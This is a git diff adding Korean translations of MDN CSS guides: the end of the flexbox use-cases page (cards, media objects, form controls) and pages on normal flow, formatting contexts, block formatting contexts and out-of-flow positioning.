+ +

구성 요소의 내부가 (상위) 랩퍼와 함께 늘어나지 않음을 표시하는 두 개의 카드 구성 요소.

+ +

가변상자가 이를 해결할 수 있습니다. 우리는 {{cssxref("flex-direction")}}: column 속성를 가진 카드를 가변 컨테이너로 만듭니다. 그런 다음 컨텐츠 영역을 flex: 1로 설정합니다. 이는 flex: 1 1 0의 축약형입니다. — 항목이 0의 가변 기준에서 커지거나 줄어들 수 있습니다. 이것이(컨텐츠 영역이) 커질 수 있는 유일한 항목이므로 가변 컨테이너에 있는 잉여 공간을 차지하고 바닥글을 바닥으로 밉니다. 라이브 예제에서 flex 속성을 제거하면 바닥글이 컨텐츠 바로 아래로 이동하는 방식을 볼 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

+ +

미디어 객체

+ +

미디어 객체는 웹 디자인에서 일반적인 패턴입니다. 이 패턴에는 한쪽에 이미지 나 다른 요소가 있고 오른쪽에 텍스트가 있습니다. 이상적으로 미디어 개체를 반대쪽으로 돌릴 수 있어야 합니다. 말하자면 이미지를 왼쪽에서 오른쪽으로 이동시키는 겁니다.

+ +

이 패턴은 어디에서나 볼 수 있으며, 주석 상자용으로 쓰이기도 하고, 이미지와 설명을 표시해야하는 모든 곳에서 볼 수 있습니다. 가변상자를 사용하면 이미지를 포함하는 미디어 객체의 일부가 이미지에서 크기 정보를 가져온 다음 미디어 객체의 본문이 가변적으로 남은 공간을 차지할 수 있습니다.

+ +

여러분은 아래 실제 예제에서 미디어 객체를 볼 수 있습니다. 정렬 속성을 사용하여 십자축의 항목을 flex-start로 정렬한 다음 .content 가변 항목을 flex: 1로 설정했습니다. 위의 열 조판 카드 패턴에서와 같이 flex: 1를 사용하면 카드가 커질 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

+ +

이 라이브 예제에서 시도할 수 있는 것은 디자인에서 미디어 개체를 제약하려는 여러 가지 방법과 관련이 있습니다.

+ +

이미지가 너무 커지는 것을 방지하려면 이미지에 {{cssxref("max-width")}}를 추가하십시오. 미디어 객체의 그쪽 측면이 가변상자의 초기값(예: 100px)을 사용함에 따라 줄어들지만 커질 수는 없으며 flex-basis는 자동을 사용합니다. 이미지에 적용된 모든 {{cssxref("width")}} 또는 최대 너비는 flex-basis (가변 기준) 이 됩니다.

+ +
.image img {
+  max-width: 100px;
+}
+
+ +

또한 양쪽이 비례하여 커지거나 줄어들 수 있습니다. 양면을 flex: 1로 설정하면 0의 {{cssxref("flex-basis")}}에서 커지거나 줄어들기 때문에 두 개의 동일한 크기의 열이 생깁니다. 컨텐츠를 기준으로 사용하여 (컨텐츠와 이미지) 둘 다에 flex: auto로 설정하면 컨텐츠의 크기에 따라, 또는 이미지의 너비와 같은 가변 항목에 직접 적용되는 크기에 따라 커지거나 줄어들 수 있습니다.

+ +
.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

예를 들어 이미지가 있는 쪽을 flex: 1로 설정하고 콘텐츠 쪽을 flex: 3으로 설정하는 등 각면에 서로 다른 {{cssxref("flex-grow")}}를 부여할 수 있습니다. 즉, flex-basis0으로 사용하지만 해당 공간을 flex-grow 인수에 맞춰 서로 다르게 공간을 할당합니다. 그런 용도로 사용하는 가변 속성은 주축을 따라 가변 항목의 비율 제어 안내서에서 자세히 설명되어 있습니다.

+ +
.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

미디어 객체 방향 돌리기

+ +

이미지가 오른쪽에 있고 콘텐츠가 왼쪽에 있도록 미디어 객체의 표시를 전환하려면 flex-direction 속성을 이용해 row-reverse로 설정할 수 있습니다. 미디어 개체가 이제 다른 방향으로 표시됩니다. 저는 그걸 달성하기 위해 라이브 예제에서 기존 .media 클래스와 함께 flipped 클래스를 추가했습니다. 즉, 에이치티엠엘에서 해당 클래스를 제거하여 디스플레이가 어떻게 변경되는지 확인할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

+ +

양식 컨트롤

+ +

가변상자는 양식 컨트롤에 스타일을 적용할 때 특히 유용합니다. 양식에는 일반적으로 서로 정렬하고 싶은 다수의 마크업과 다수의 작은 요소를 포함할 수 있습니다. 일반적인 패턴은 {{htmlelement("input")}} 요소가 {{htmlelement("button")}}과 짝을 이루는 검색 양식의 경우나 방문자가 단순히 전자 메일 주소를 입력하도록 하려는 경우입니다.

+ +

가변상자를 사용하면 이러한 유형의 조판을 쉽게 달성할 수 있습니다. 테두리를 지정하고 표시하도록 설정한 래퍼 클래스에 <button><input> 필드가 포함되어 있습니다. 거기에 테두리를 부여하고 display: flex를 설정했습니다. 그런 다음 가변 속성을 사용하여 <input> 필드가 커지도록 했고, 버튼은 그렇지 않습니다. 이것은 사용 가능한 공간이 변함에 따라 텍스트 필드가 커지거나 작아지는 한 쌍의 필드가 있음을 의미합니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

+ +

버튼을 오른쪽에 올려 놓은 것처럼 레이블이나 아이콘을 왼쪽에 쉽게 추가 할 수 있습니다. 나는 레이블을 추가했으며 배경색에 대한 스타일링 이외에 조판을 변경할 필요가 없었습니다. 신축성있는 입력 필드는 이제 맘대로 이용할 공간이 조금 줄어들지만 두 항목의 지분이 고려된 후 남은 공간을 사용합니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

+ +

이와 같은 패턴을 사용하면 디자인에 추가할 요소를 쉽게 수용할 수 있는 양식 요소 라이브러리를 훨씬 쉽게 만들 수 있습니다. 커지지 않는 항목과 커지는 항목을 혼합하는 식으로 가변상자의 유연성을 활용하고 있습니다.

+ +

결론

+ +

위의 패턴을 살펴보면서 가변 상자를 사용하여 원하는 결과를 얻는 가장 좋은 방법을 여러분이 생각을 통해 파악되기 시작했길 희망해봅니다. 종종 하나 이상의 선택이 있습니다. 늘릴 수 없는 항목을 늘릴 수 있는 것과 혼합하거나, 콘텐츠를 사용하여 크기를 알리거나, 가변상자가 공간을 비례적으로 공유할 수 있도록 하십시오. 그것은 당신에게 달려 있습니다.

+ +

보유 컨텐츠를 제시하는 가장 좋은 방법을 생각한 다음 가변상자 또는 기타 조판 방법이 컨텐츠를 선보이는 데 어떻게 도움이 되는지 살펴보십시오.

diff --git a/files/ko/web/css/css_flow_layout/index.html b/files/ko/web/css/css_flow_layout/index.html new file mode 100644 index 0000000000..32928121ff --- /dev/null +++ b/files/ko/web/css/css_flow_layout/index.html @@ -0,0 +1,46 @@ +--- +title: CSS Flow Layout +slug: Web/CSS/CSS_Flow_Layout +tags: + - CSS 흐름 레이아웃 + - 흐름 +translation_of: Web/CSS/CSS_Flow_Layout +--- +
{{CSSRef}}
+ +

일반적인 흐름 Normal Flow, 또는 흐름 레이아웃 Flow Layout 은 그 레이아웃 변화가 있기 전까지 페이지 안의 블록 요소와 인라인 요소가 보여지는 방식 입니다. 흐름이란 본질적으로 레이아웃 아래 서로 같이 동작하고 서로에게 서로가 알려지는 것들의 집합 입니다. 만약에 어느 하나가 흐름에서 벗어나면 그것은 독립적으로 동작하게 됩니다.

+ +

일반적인 흐름에서, 인라인 요소들은 한줄러 늘어서 보여지게 되는데, 이는 문서의 Writing Mode 에 따라 문장 안의 단어들이 보여지는 방향을 따르게 됩니다. 블록 요소들은 문서의 Writing Mode 에서의 단락이 하나씩 나눠져 보여지듯이 나타납니다. 그래서 영어에서는, 인라인 요소들은 왼쪽에서 시작하여 하나씩 보여지고, 블록 요소들은 맨 위에서부터 페이지를 따라 아래로 보여집니다.

+ +

기본적인 예

+ +

아래의 예는 블록과 인라인 레벨 박스들을 설명합니다. 초록 테두리를 갖은 두개의 paragraph 요소들은 블록 레벨에 있어서 하나씩 위에서 아래로 나타납니다.

+ +

첫번째 문장은 파란 바탕을 갖은 span 요소를 포함하고 있습니다. 이 요소는 인라인 레벨에 있으며 따라서 문장 내에 이어져 나타납니다.

+ +

{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}

+ +

Guides

+ + + +

Reference

+ +

Glossary Entries

+ +
    +
  • {{Glossary("Block/CSS", "Block (CSS)")}}
  • +
+ + diff --git a/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html new file mode 100644 index 0000000000..3a91f6ba92 --- /dev/null +++ b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html @@ -0,0 +1,92 @@ +--- +title: 서식 상황 입문서 +slug: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts +tags: + - BFC + - 대열 + - 블록 서식 상황 + - 서식 상황 + - 씨에스에스 + - 안내서 + - 조판 + - 중급 +translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts +--- +
{{CSSRef}}
+ +

이 문서는 서식 상황의 개념을 소개합니다. 서식 상황에는 블록 서식 상황과 인라인 서식 상황, 가변 서식 상황을 포함한 여러 유형이 있습니다. 그들이 어떻게 동작하고 어떻게 그러한 동작을 활용할 수 있는지에 대한 기본 사항도 소개합니다.

+ +

페이지의 모든 것은 서식 상황(formatting context)의 일부이거나 특정 방식으로 콘텐츠를 배치하도록 정의된 영역입니다. 블록 서식 상황(block formatting context)은 블록 조판 규칙에 따라 자식 요소를 배치하고, 가변 서식 상황(flex formatting context)은 자식을 {{Glossary("flex item", "flex items")}}로 취급해 배치합니다. 각 서식 상황은 해당 상황에 속했을 때 조판이 어떻게 동작하는지에 대한 특정 규칙을 가지고 있습니다.

+ +

블록 서식 상황

+ +

문서의 최외각 요소는 우선 블록 조판 규칙을 수립합니다. 이를 일컬어 초기 블록 서식 상황(initial block formatting context)이라고 합니다. 이는 <html> 요소 블록 내부의 모든 요소는 블록 및 인라인 조판 규칙을 따르는 일반 대열에 따라 배치됨을 의미합니다. 블록 서식 상황(BFC)에 참여하는 요소는 씨에스에스 상자 모델에 의해 윤곽이 제시된 규칙을 사용합니다. 이 모델은 요소의 여백, 테두리 및 패딩이 동일한 서식 상황에서 서로 다른 블록과 상호 작용하는 방법을 정의합니다.

+ +

새로운 블록 서식 상황 생성하기

+ +

단지 {{HTMLElement("html")}} 요소만이 블록 서식 상황을 생성할 능력을 갖춘 것은 아닙니다. 기본값으로 블록 조판인 모든 요소는 역시 자기 자손 요소에 대한 블록 서식 상황을 생성합니다. 또한 기본값으로 주어지지 않아도 블록 서식 상황을 생성하도록 할 수 있는 씨에스에스 속성이 있습니다. 동 속성이 유용한 까닭은 새로운 블록 서식 상황이 자체적으로 주 조판 내부의 소형 조판이 된다는 점에서 최외곽 문서와 매우 유사하게 작동하기 때문입니다. 블록 서식 상황은 그 내부에 모든 요소를 포함하고, {{cssxref("float")}} 및 {{cssxref("clear")}}는 동일한 서식 상황에 속한 항목에만 적용되며, 여백 축소는 동일한 서식 상황 요소 사이에만 이뤄집니다.

+ +

우리 문서의 뿌리 요소인 ({{HTMLElement("html")}}) 이 외에도 새로운 블록 서식 상황은 다음과 같은 경우에 생성됩니다.

+ +
    +
  • {{cssxref("float")}}를 사용으로 요소가 부동체가 되는 경우
  • +
  • 절대 위치잡기한 요소, 여기에는 {{cssxref("position", "position: fixed", "#fixed")}} 혹은 {{cssxref("position", "position: sticky", "#sticky")}}가 포함됩니다.
  • +
  • {{cssxref("display", "display: inline-block", "#inline-block")}}이 적용된 요소
  • +
  • display: table-cell이 적용된 테이블 셀 또는 요소, 여기에는 display: table-* 속성 무리를 사용한 익명 테이블 셀도 포함됩니다.
  • +
  • display: table-caption이 적용된 테이블 캡션이나 요소
  • +
  • visible이외의 대열이탈 값을 갖는 블록 요소
  • +
  • display: flow-root 혹은 display: flow-root list-item 가 적용된 요소
  • +
  • {{cssxref("contain", "contain: layout", "#layout")}}, content, 또는 strict가 적용된 요소
  • +
  • {{Glossary("flex item", "flex items")}}
  • +
  • 격자 항목
  • +
  • 다단 컨테이너
  • +
  • {{cssxref("column-span")}}이 all로 설정된 요소
  • +
+ +

블록 서식 상황(BFC)을 생성하는 효과를 확인하기 위해 이들 중 몇 가지를 살펴봅시다.

+ +

아래 예제에서, 우리는 테두리가 적용된 <div> 내부에 부동체 요소 하나를 가지고 있습니다. 해당 div의 콘텐츠는 부동체 요소와 나란히 부동해왔습니다. 동 부동체의 콘텐츠가 자기 옆에 있는 콘텐츠보다 키가 크기 때문에 하위 <div>의 테두리는 이제 부동체에 전체에 걸쳐 진행하고 있습니다. 대열 요소와 탈대열 요소에 관한 안내서에서 설명했듯이, 동 부동체는 대열에서 제외되어 <div> 요소의 배경과 테두리는 콘텐츠만 포함하지 부동체는 포함하지 않습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

+ +

새로운 블록 서식 상황(BFC)을 생성하면 동 부동체를 포함할 겁니다. 그러려면 전형적인 방법은 overflow: auto를 설정하거나, 초깃값인 overflow: visible 이외의 다른 값을 설정하는 식이었습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}

+ +

overflow: auto를 지정하여 동 부동체를 포함하는 새로운 블록 서식 상황(BFC)을 생성했습니다. 우리의 div가 이제는 우리 조판 내부에 소형 조판이 되었습니다. 모든 자식 요소는 소형 조판 내부에 포함되게 됩니다.

+ +

대열이탈(overflow)을 사용하여 새로운 블록 서식 상황(BFC)을 생성하는 것이 문제가 되는 것은 대열이탈(overflow) 속성이 대열이탈 콘텐츠를 어떻게 다루고 싶은지 브라우저에 알려주기 위한 것입니다. 이 속성을 순수하게 블록 서식 상황을 생성할 목적으로 사용할 경우 원치 않는 스크롤 막대 또는 잘려 나간 그림자를 생기는 경우도 있습니다. 또한, 그 경우는 후진 개발자가 왔을 때 판독의 여지가 많지 않을 수 있습니다. 왜냐면 대열이탈을 무슨 목적으로 사용했는지 이유가 분명하지 않을 수 있기 때문입니다. 다음과 같이 하면 코드를 설명하는 데 좋은 아이디어가 될 것입니다.

+ +

display: flow-root을 사용하며 명시적으로 블록 서식 상황을 생성하기

+ +

display: flow-root (또는 display: flow-root list-item))를 컨테이너 블록상에 사용하면 잠재적인 문제가 될 수 있는 여타 부작용 없이 새로운 블록 서식 상황(BFC)을 생성합니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}

+ +

{{HTMLElement("div")}}에 요소상에 display: flow-root을 적용하면, 컨테이너 내부의 모든 요소는 해당 컨테이너의 블록 서식 상황에 참여하게 되며, 부동체 무리는 동 요소 밑으로 돌출하지 않게 됩니다.

+ +

대열뿌리(flow-root)라는 키워드 명명은 (마치 {{HTMLElement("html")}}의 경우처럼) 본질적으로 새로운 뿌리 요소와 같은 기능하는 어떤 것을 생성한다는 사실을 말해줍니다. 새로운 상황이 어떻게 생성되었으며 어떻게 해당 대열 조판이 기능하는지를 고려하면 그렇습니다.

+ +

인라인 서식 상황

+ +

인라인 서식 상황은 다른 서식 상황 내부에 존재하며 하나의 단락 상황처럼 생각될 수 있습니다. 단락은 텍스트상에 사용되는 {{HTMLElement("strong")}}, {{HTMLElement("a")}} 또는 {{HTMLElement("span")}} 등이 내부적으로 사용되는 인라인 서식 상황을 생성합니다.

+ +

상자 모델은 인라인 서식 상황에 참여하는 항목에 100% 적용되지 않습니다. 가로쓰기 모드 라인에서 수평 패딩, 테두리 및 여백이 요소에 적용되고 텍스트를 왼쪽과 오른쪽으로 밀어냅니다. 그러나, 해당 요소 위와 아래에 여백은 적용되지 않습니다. 수직 패딩 및 테두리는 적용되지만 인라인 서식 상황에서 라인 상자가 패딩 및 테두리에 의해 밀려나지 않음으로 위와 아래에 내용이 겹칠 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}

+ +

기타 서식 상황

+ +

이 안내서는 대열 조판을 다루므로 여타 가능한 서식 상황을 참조하지 않습니다. 따라서 어떤 유형의 서식 상황을 만드는 것이 서식 상황 속에 포함된 요소 무리가 작동하는 방식을 변화시킬 것인지 파악하는 것이 유용합니다. 이런 동작은 항상 에이치티엠엘 규격에 기술되어 있고, 또한 이곳 모질라 개발자 네트워크(MDN)에도 기술되어 있습니다.

+ +

요약정리

+ +

이번 안내서에서는 블록 및 인라인 서식 상황과 블록 서식 상황(BFC)을 생성하는 중요한 주제를 자세히 살펴보았습니다. 다음 안내서에서는 어떻게 일반 대열과 서로 다른 쓰기 모드가 상호 작용하는지에 대해 알아보겠습니다.

+ +

참조 항목

+ + diff --git "a/files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" "b/files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" new file mode 100644 index 0000000000..2b05d99f39 --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" @@ -0,0 +1,72 @@ +--- +title: 대열과 탈대열 +slug: Web/CSS/CSS_Flow_Layout/대열과_탈대열 +tags: + - 대열 + - 대열 조판 + - 씨에스에스 + - 씨에스에스 대열 조판 + - 안내서 + - 조판 + - 중급 +translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +--- +
{{CSSRef}}
+ +

이전 안내서에서 제가 일반 대열 속 블록 및 인라인 조판에 대해 설명하였습니다. 대열에 속한 모든 요소는 이 메서드를 사용하여 배치됩니다.

+ +

다음 예제에서는 머리글, 단락, 목록 및 strong 요소가 포함된 마지막 단락이 있습니다. 머리글과 단락은 블록 레벨이며, strong 요소는 인라인입니다. 목록은 가변상자를 사용하여 항목을 행 내부로 정렬하지만 블록 및 인라인 조판에도 참여하고 있습니다. 컨테이너는 외곽에 display 유형이 block 대열에 참여하고 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

+ +

요소 무리 전체는 대열에 속해 있다고 말할 수 있습니다. 에이치티엠엘 소스에 나타나는 순서대로 요소 무리들이 웹페이지에 등장합니다.

+ +

항목을 대열 밖으로 빼내기

+ +

대열에 속한 모든 요소는 다음과 구분된다:

+ +
    +
  • 부동 항목
  • +
  • position: absolute 속성이 부여된 항목 (아울러 position: fixed 속성이 딸린 항목도 마찬가지로 동작합니다.)
  • +
  • 뿌리 요소(html)
  • +
+ +

대열에서 벗어난 항목은 새로운 블록 서식 상황(BFC)를 생성하므로, 그 안에 있는 모든 것은 페이지의 나머지 부분과는 구분되는 소형 조판으로 볼 수 있다. 따라서 뿌리 요소는 우리 문서의 모든 내용에 해당하는 컨테이너이기 때문에 대열을 벗어나 있으며 당 문서에 대한 블록 서식 상황을 수립합니다.

+ +

부동 항목

+ +

이 예제에서 나는 div를 가지고 있고, 그 다음 두 단락을 갖고 있다. 문단에 배경색을 추가한 다음 div 요소를 왼쪽으로 부동시켰다. 이제 div는 대열에서 벗어났다.

+ +

부동체는 우선 일반 대열에 속했던 애초의 위치를 기준으로 배치되었고, 그 뒤 대열에서 벗어나 최대한 왼쪽으로 이동합니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

+ +

여러분은 부동체 밑에 펼쳐지고 있는 다음 단락의 배경색을 볼 수 있습니다. 동 단락의 라인 상자 무리만 부동체 주변 콘텐츠를 둘러싸는 효과를 위해 축소되었습니다. 우리 단락 형태의 상자는 여전히 일반 대열이라는 규칙에 따라 표시되고 있습니다. 바로 그런 까닭에 부동 항목 주위에 공간을 만들려면 동 항목에 여백을 추가해서 그 여백으로부터 라인 상자 무리를 밀려나도록 해야하는 겁니다. 대열에 속한 다음 순번 콘텐츠에는 그 어떤 것을 적용한다고 해도 그런 효과를 달성할 수 없습니다.

+ +

절대 위치잡기

+ +

어떤 항목에 position: absoluteposition: fixed를 부여하면 동 항목이 대열에서 제거되며, 그것이 점유하고 있던 모든 공간이 제거됩니다. 다음 예제에서 나는 세 개의 단락 요소를 가지고 있으며, 두 번째 요소는 positionabsolute임에 더해 간격띄우기 값이 top: 30pxright: 30px 해당됩니다. 그 (두 번째) 요소는 문서 대열에서 제거되었습니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

+ +

position: fixed를 사용해 대열에서 항목을 제거하지만, 간격띄우기는 컨테이너 블록이 아닌 브라우저 뷰포트가 기준입니다.

+ +

위치잡기를 통해 대열에서 항목을 빼내면 콘텐츠의 중복 가능성을 관리해야 합니다. 대열에서 벗어나면 페이지의 다른 요소는 더 이상 요소가 존재한다는 것을 알지 못하므로 이에 반응하지 않습니다.

+ +

상대 위치잡기와 대열

+ +

어떤 항목에 position: relative 위치잡기를 부여하면 그것은 대열에 잔류하지만, 당신은 간격띄우기 값을 사용하여 동 항목을 주변으로 밀어낼 수 있습니다. 그러나 아래 예제에서 볼 수 있듯이 그것이 일반 대열 위치에 그대로 남아 있게 됩니다.

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

+ +

일반 대열에 속해 있었던 어떤 항목을 제거하거나 이동할 때, 해당 항목 주변의 콘텐츠를 겹치지 않도록 관리해야 할 필요성이 있다는 것을 예상할 수밖에 없을 겁니다. 말하자면 부동체를 정리하거나 position: absolute가 적용된 요소가 여타 콘텐츠에 올라타지 않도록 담보해야 합니다. 이러한 이유로 요소 무리를 대열 속에서 제거하는 메서드는 그들 메서드가 가져올 영향을 파악한 상태에서 사용되어야 합니다.

+ +

요약정리

+ +

이번 안내서에서는 매우 구체적인 유형의 위치잡기를 달성하기 위해 요소를 일반 대열에서 빼내는 여러 방법을 다루었습니다. 다음 안내서에서는 서식 상황 해설 가운데에서 블록 서식 상황을 생성하는 등의 관련 이슈를 살펴볼 겁니다.

+ +

참조 항목

+ + diff --git "a/files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" "b/files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" new file mode 100644 index 0000000000..cc7753cb70 --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" @@ -0,0 +1,122 @@ +--- +title: 일반 대열 속 블록 및 인라인 조판 +slug: Web/CSS/CSS_Flow_Layout/일반_흐름_속_블록_및_인라인_레이아웃 +tags: + - 대열 + - 씨에스에스 + - 씨에스에스 대열 조판 + - 안내서 + - 여백 + - 조판 + - 중급 +translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow +--- +
{{CSSRef}}
+ +

이번 안내서에서는 블록 및 인라인 요소가 일반 대열의 일부일 때 어떻게 동작하는지에 대한 기본 사항을 살펴본다.

+ +

일반 대열은 씨에스에스 2.1규격에 정의되어 있으며, 이는 일반 대열에 소속된 상자가 서식 상황의 일부가 된다는 것을 설명한다. 그 상자는 블록 또는 인라인이 될 수 있지만 동시에 양수겸장이 될 수는 없다. 블록 수준 상자는 블록 서식 상황에 참여하는 것으로, 인라인 수준 상자는 인라인 서식 상황에 참여하는 것으로 기술한다.

+ +

블록 또는 인라인 서식 상황에 해당하는 요소의 동작은 이(CSS2.1) 규격에서 정의한다. 블록 형식 상황에 해당하는 요소의 경우 규격은 다음과 같다:

+ +
+

블록 서식 상황에서 상자는 컨테이너 블록의 맨 위에서 시작하여 수직으로 하나씩 배치된다. 두 형제(동급) 상자 사이 수직 간격은 '여백' 속성에 의해 결정된다. 블록 서식 상황에 속하는 인접하는 블록 수준 상자 사이 수직 여백은 축소된다.
+ 블록 서식 지정 상황에 속하는 각 상자의 왼쪽 바깥족 가장자리는 콘테이너 블록의 왼쪽 가장자리를 접한다. (오른쪽에서 왼쪽[아랍어] 방향 서식의 경우는 우측 가장자리를 접한다.)" - 9.4.1

+
+ +

인라인 서식 상황에 해당하는 요소의 경우:

+ +
+

인라인 서식 상황에서 상자는 콘테이너 블록의 상단에서 하나씩 차례로 수평으로 배치된다. 이 상자들 사이 수평 여백, 테두리 및 패딩은 준수된다. 상자는 다양한 방법으로 수직으로 정렬될 수 있다. 상자의 하단이나 상단에 맞춰 정렬되거나 텍스트의 기준선에 맞춰 정렬될 수 있다. 라인 형태를 띠는 여러 상자를 가두는 직사각형 영역을 라인 상자라고 한다. "- 9.4.2

+
+ +

씨에스에스 2.1 규격은 문서를 가로쓰기와 세로 쓰기 모드로 기술하고 있다. 예를 들어 블록 상자 사이의 수직 거리를 기술한다. 블록 및 인라인 요소의 동작 방식은 세로 쓰기 모드에서 동작할 때와 동일하다. 앞으로 게시될 대열 조판과 쓰기 모드에 관한 안내서에서 세로 쓰기 모드의 경우를 살펴볼 예정이다.

+ +

블록 서식 상황에 참여하는 요소

+ +

영어와 같은 가로쓰기 모드에서 블록 요소는 수직으로 다른 대상 요소 바로 밑에 배치된다.

+ +

+ +

세로 쓰기 모드에서는 수평으로 배치된다.

+ +

+ +

이 안내서에서 우리는 영어로 작업할 것이기 때문에 가로쓰기 모드를 다룬다. 그러나 기술된 내용 전체는 세로 쓰기 모드에서도 당연히 동일한 방식으로 작동한다.

+ +

씨에스에스 규격에 정의된 대로 2개의 블록 상자 사이 여백이 바로 상자 요소 사이를 구분해주는 것이다. 우리는 그점을 눈으로 확인하기 위해 2개의 단락으로 매우 간단한 하나의 조판에 테두리를 추가했다. 기본 브라우저의 스타일시트는 상하 요소에 여백을 더하는 방식으로 단락 사이 간격을 추가한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}

+ +

단락 요소의 여백을 0으로 설정하면, 테두리는 접촉한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}

+ +

기본 설정에 따라 블록 요소는 인라인 방향에 포함된 모든 빈공간을 차지하므로 당해 단락은 펼쳐지면서 콘테이너 블록 내부를 최대한 차지할 수 있게 된다. 블록 너비를 적시하게 되면 옆 공간에 나란히 배치될 공간이 있다손치더라도 다른 대상 요소 바로 밑에 배치된다. 각 블록은 콘테이너 블록의 시작 가장자리에 맞춰 시작되며, 그 위치에 맞춰 해당 쓰기 모드에 포함되는 문장이 시작된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}

+ +

여백 축소

+ +

씨에스에스 규격에 따라 블록 요소 사이의 여백이 축소된다. 즉, 하단 여백이 있는 요소 바로 뒤에 상단 여백을 가진 요소가 있으면 두 여백의 합이 전체 공간이 되는게 아니라 여백이 축소되는데, 본질적으로 두 여백 중 더 큰 것으로 갈음한다.

+ +

아래의 예에 포함된 단락들은 20px의 상부 여백과 40px의 하부 여백을 갖고 있다. 단락 사이 여백의 크기는 40px이다. 왜냐면 두번째 단락의 상대적으로 작은 상부 여백이 첫번째 단락의 상대적으로 큰 하부 여백에 맞춰 축소되었기 때문이다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}

+ +

여백 축소에 관해선 여백 축소 정복 안내서에서 자세한 내용을 파악할 수 있다.

+ +
+

참고: 여백의 축소 여부가 불확실할 경우 브라우저 개발툴에 나오는 상자 모델 값을 확인하십시오. 이렇게 하면 현재 일어나고 일을 파악하는 데 도움이 될 수 있는 실제 여백 크기를 알 수 있습니다.

+ +

+
+ +

인라인 서식 상황에 참여하는 요소

+ +

인라인 요소는 특정 쓰기 모드에서 문장이 진행하는 방향으로 하나씩 차례대로 표시한다. 인라인 요소를 상자로 간주하지 않는 경향이 있지만 씨에스에스에 속하는 모든 요소처럼 그들도 상자로 간주된다. 이 인라인 상자들은 하나씩 차례대로 배열되어 있다. 컨테이너 블락에 상자 전체를 위한 충분한 공간이 없으면 새 줄로 넘어간다. 생성된 라인은 라인 상자라고 통용된다.

+ +

다음 예에서는 스트롱(strong) 요소를 내부에 포함하는 단락의 형태로 생성된 세개의 인라인 상자가 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}

+ +

strong 요소 전후로 단어를 감싼 상자들은 무명 상자라고 하며 모든 것이 상자로 둘러쳐 있음을 담보하기 위해 상자가 도입된 것이되 직접 대상화할 수 없는 요소이다.

+ +

블록 방향의 라인 상자의 크기는(영어 단락 작업시 글 높이의 경우)는 내부에 있는 가장 큰 상자에 의해 정의된다. 다음 예에서 나는 스트롱 요소의 크기를 300%로 만들었고, 이제 그 콘텐츠가 해당 선상의 라인 상자 높이를 정의한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}

+ +

블락과 인라인 상자의 동작 방식에 대해 자세한 내용은 시각적 서식 모델 안내서를 찾아보십시요.

+ +

display속성 및 대열 조판

+ +

씨에스에스 2.1에 존재하는 규칙 외에도 새로운 수준의 씨에스에스는 블록 및 인라인 상자의 동작을 추가로 기술한다. display 속성은 상자와 상자 속 상자의 동작 방법을 정의한다. 씨에스에스 디스플레이 모델 수준 3 내용을 보면 디스플레이 속성이 상자의 동작과 생성된 상자에 변화를 주는 방법에 대해 더 자세히 알 수 있다.

+ +

